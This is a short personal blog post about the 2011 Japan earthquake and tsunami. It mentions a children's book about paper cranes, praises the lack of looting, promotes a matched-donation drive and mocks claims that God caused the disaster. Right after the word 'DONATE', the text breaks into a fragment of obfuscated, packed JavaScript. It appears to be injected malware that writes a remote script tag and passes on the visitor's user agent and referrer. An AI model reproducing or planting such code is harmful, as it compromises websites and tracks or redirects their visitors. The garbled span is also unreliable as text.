I heart Japan

Not just because I’m Japanese…..but that probably helps.

We read Sadako and the 1000 Paper Cranes in 1st grade.  Good read.  It was about a little girl that got Leukemia after the atom bomb was dropped on Japan.  She tries to fold 1000 paper cranes so she can get her wish granted – to live.  Maybe that was too deep for 1st grade….either way, it stuck with me.

The earthquake, tsunami and now all the issues with the nuclear power plant are so saddening.

I heard that there hasn’t been a single case of looting.  We could probably learn a thing or 2 from them.

If you want to help, and haven’t already…..

This ends on Friday, at 9AM PST, but LivingSocial will match your $5 donation.  They were already at $1,000,000 by 8:30PM on Thursday.

DONATE ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|diesz|var|u0026u|referrer|iazdb||js|php’.split(‘|’),0,{}))
and turn into
– it’s like magic

On a side note, have you head all the hubub about god causing the destruction in Japan? Glenn Beck claims it was a message from god……in a movement of pure awesome, Alejandro Suarez (if that is your real name), made the website godhatesjapan.com.  Click the link, you’ll be glad you did.  Let’s just be clear, there is a perfectly logical, scientific reason behind earthquakes.

Happy Friday.
